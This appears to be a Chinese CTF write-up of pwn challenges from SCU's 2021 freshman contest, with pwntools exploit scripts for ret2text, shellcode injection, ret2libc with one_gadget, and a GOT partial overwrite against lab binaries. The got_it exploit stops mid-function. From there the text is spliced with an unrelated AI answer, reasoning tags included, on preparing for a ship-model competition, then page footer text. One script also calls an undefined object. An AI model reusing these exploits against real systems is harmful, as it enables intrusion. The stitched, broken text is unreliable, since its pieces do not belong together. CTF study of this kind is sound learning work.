SCU新生赛2021 pwn wp

本文总结了极客大挑战和SCU新生赛中的技术挑战,涉及栈溢出、基础shellcode编写、ret2libc技巧、UAF漏洞利用和Tcache攻击等,通过实例展示了如何解决和利用这些技术点。

前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写wp了。

ret2text

简单的栈溢出,pwn里的hello world。

from pwn import *

r = process("/mnt/hgfs/ubuntu/stackoverflow")
elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")
payload = b'a'*0x38+p64(elf.symbols["backdoor"])
r.recvuntil(b"Do you know stack overflow and ret2text?")
r.sendline(payload)
io.interactive()

ret2shellcode

最基础的shellcode,可以自己写,也可以直接用pwntools里的shellcraft模块

from pwn import *
context(arch="amd64",os="linux")
r = process("/mnt/hgfs/ubuntu/ret2shellcode")
r.recvuntil(b"Your input will be saved at ")
shellcode_addr = int(r.recvuntil(b'\n'),16)
shellcode = asm(shellcraft.sh())
r.recvuntil("Input: ")
payload = shellcode.ljust(0x88,b'a')+p64(shellcode_addr)
r.sendline(payload)
r.interactive()

quiz

在线测试题,主要考察整数溢出和汇编的问题。

ret2libc

链接:https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
提取码:F1re

checksec一下,除了canary保护外全开。

思路

0x1地址泄露

1

choice选择1后可以泄露一些地址,其中泄露了一个函数的地址,和puts函数的地址,可以通过这两个得到elf文件基址和libc基址。

0x2栈溢出

2

然后就是choice选择2后一个明显的栈溢出漏洞。

不过这道题有点搞的是,我用system+/bin/sh的方式不能getshell,最后用one_gadget成功getshell。最后注意用一个ret指令平衡栈帧。

exp

from pwn import *
libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so')
# r = process('/mnt/hgfs/ubuntu/ret2libc/ret2libc')

r.recvuntil("Your choice: ")
r.sendline(b'1')
r.recvuntil("You need to figure it out:")
r.recvuntil("0xdeadbeef ")
elf_addr = int(r.recv(14),16)
elf_base = elf_addr-0x13d3
r.recv(1)
puts_addr=int(r.recv(14),16)
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system_addr = libc_base+libc.symbols["system"]
bin_sh = 0x18ce57
one_gadget = libc_base+0xf03a4
pop_rdi = 0x1613+elf_base
ret = elf_base+0x101a
print("elf_base:"+hex(elf_base))
print("libc_base: "+hex(libc_base))
r.recvuntil("Your choice: ")
# payload = b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload =b'a'*0x18+p64(ret)+p64(one_gadget)
r.sendline(b'2')
r.recvuntil("input: ")
r.sendline(payload)
r.interactive()

got_it

链接:https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
提取码:F1re

checksec一下,除了RELEO保护,其他保护全开。

函数定义了一个数组,数组储存了几个学pwn的经典网站,函数有三个功能:

  • show:展示数组内某一个网站的网址。

  • edit:修改某一个网址的内容。但是可以看到输入长度0x12大于其数组元素长度0x8,存在溢出。

  • exit:退出程序。

思路

0x1溢出

3

存在0x8的溢出长度。

0x2控制函数指针

4

其中0x36E0后储存的是数组变量的地址。

而0x36E0前储存的是数组变量。

结合之前我们发现的0x8的溢出长度,可以对0x36D0处最后一个网址使用edit函数,可覆写到储存第一个数组元素的指针。

0x3 pie绕过,改写GOT表

由于程序未开RELEO保护,我们可以考虑改写函数GOT表,又由于程序开了pie保护,我们打算用partial write绕过。

5

发现atoi_addr与第一个函数指针之间只有最后一个字节不一样。因此我们只用覆写指针第一个字节为’\x40’。利用show函数泄露函数真实地址,从而计算出libc基址,然后再edit数组第一个元素,即可把atoi_got改写为one_gadget的值。

exp

from pwn import *
# r = process('/mnt/hgfs/ubuntu/got_it/got_it')
elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it')
libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so')

def show(id):
    r.recvuntil("> ")
    r.sendline(str(1))
    r.recvuntil("which? ")
    r.sendline(str(id))

def edit(id,content):
  
<think>嗯,用户问的是SCU的船模比新手学习路线。首先,我需要明确SCU是指四川大学,对吧?船模比通常涉及设计、建造和操控模型船,可能包括竞速、载重或创意设计等类别。新手需要从哪些方面入手呢? 首先,用户是新手,可能需要基础知识的铺垫。比如,了解船模的基本类型,比的规则,评分标准等。然后,可能需要学习流体力学、材料科学、电子控制等相关知识。但作为新手,直接接触这些理论可能有点难,应该分阶段来。 接下来,考虑实践部分。船模制作需要动手能力,可能需要工具使用、材料选择、组装技巧等。然后测试和优化,这部分可能涉及调试动力系统、平衡性、稳定性等。此外,操控技巧也很重要,尤其是遥控船模的话,需要练习操控手法。 团队合作也是关键,比通常需要团队协作,分工比如设计、制作、测试、操控等。所以,学习路线可能需要包括团队协作的技巧。 另外,时间规划也是一个方面,比准备周期可能较长,如何安排学习、制作、测试的时间。还要考虑资源获取,比如学校是否有相关社团、导师指导,往届资料参考等。 可能还需要分阶段,比如第一阶段理论学习,第二阶段实践操作,第三阶段测试优化,第四阶段模拟比。每个阶段设定具体的目标和任务。 需要检查是否有遗漏的点,比如安全注意事项,或者常见问题解决方法。例如,船模漏水、动力不足、控制失灵等,如何应对。 还要考虑如何获取学习资源,推荐书籍、在线课程、论坛等。可能四川大学有相关的社团或往届参队伍,可以提供经验分享。 最后,整合这些内容,结构清晰,分步骤呈现,让新手能够循序渐进地学习和准备比。</think>以下是针对四川大学(SCU)船模比新手的系统学习路线,分为四个阶段,帮助循序渐进掌握关键技能: --- ### **阶段一:基础认知(1-2周)** 1. **比规则解析** - 研究事官方文件,明确评分标准(速度/载重/设计创新等) - 了解船体尺寸、动力限制(如是否允许使用特定电机或推进器) 2. **流体力学入门** - 学习基本概念:浮力公式 $F_b = \rho g V$、阻力分类(摩擦阻力/兴波阻力) - 理解船型与阻力的关系(尖底船 vs 平底船) 3. **材料与工具认知** - 常用材料:轻木、ABS塑料、碳纤维的强度/重量比 - 工具清单:切割工具(激光切割机)、粘合剂(环氧树脂)、电子焊接设备 --- ### **阶段二:设计实践(3-4周)** 1. **船型设计模拟** - 使用Free!ship或Fusion 360进行船体建模 - 优化长宽比:$$L/B > 4$$(高速船)或 $$L/B < 3$$(稳定性优先) 2. **动力系统匹配** - 计算推进效率:$$\eta = \frac{P_{输出}}{P_{输入}}$$ - 实验不同电机(如550有刷电机)与螺旋桨组合的推力曲线 3. **原型制作测试** - 3D打印或手工制作1:10缩小模型 - 进行静水阻力测试(拖拽实验)与重心位置调整 --- ### **阶段三:系统优化(2-3周)** 1. **电子控制系统** - 学习Arduino/PWM调速原理:$$D = \frac{t_{on}}{T}$$(占空比公式) - 安装无线图传系统(建议5.8GHz频段降低延迟) 2. **结构强度验证** - 使用有限元分析软件(如ANSYS)模拟船体应力分布 - 关键指标:龙骨最大应力值 $$\sigma_{max} < \sigma_{yield}$$ 3. **流体性能提升** - 添加导流鳍片降低兴波阻力 - 测试不同吃水深度下的阻力系数 $C_d$ --- ### **阶段四:竞准备(1-2周)** 1. **全系统联调** - 动力-控制联调:确保电机响应延迟 < 0.1s - 制定应急预案(如防水处理、备用电源切换) 2. **操控特训** - 设置S型绕桩、急停转向等训练科目 - 分析操控数据:$$ \theta_{舵角} \propto v^2/R$$(转弯半径公式) 3. **文档整理** - 制作技术报告书(需包含设计计算书、测试数据表) - 准备答辩PPT(重点展示创新点:如新型推进器布局) --- ### **资源推荐** 1. **理论教材** - 《船舶原理(上册)》- 重点阅读阻力与推进章节 - MIT OpenCourseWare:2.017J《海洋系统设计》 2. **实验设备** - 学校工坊:3D打印机、水槽实验装置 - 低成本替代:用鱼缸+染色液观察流线 3. **往届案例** - 联系SCU工程创新社团获取往届技术报告 - 分析冠军作品:2021年采用双体船+水翼设计提升稳定性 --- **关键提示**:建议每周举行2次团队复盘会议,使用PDCA循环(计划-执行-检查-改进)持续优化方案。遇到技术瓶颈时,优先考虑简化设计(如用差速转向替代独立舵机)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值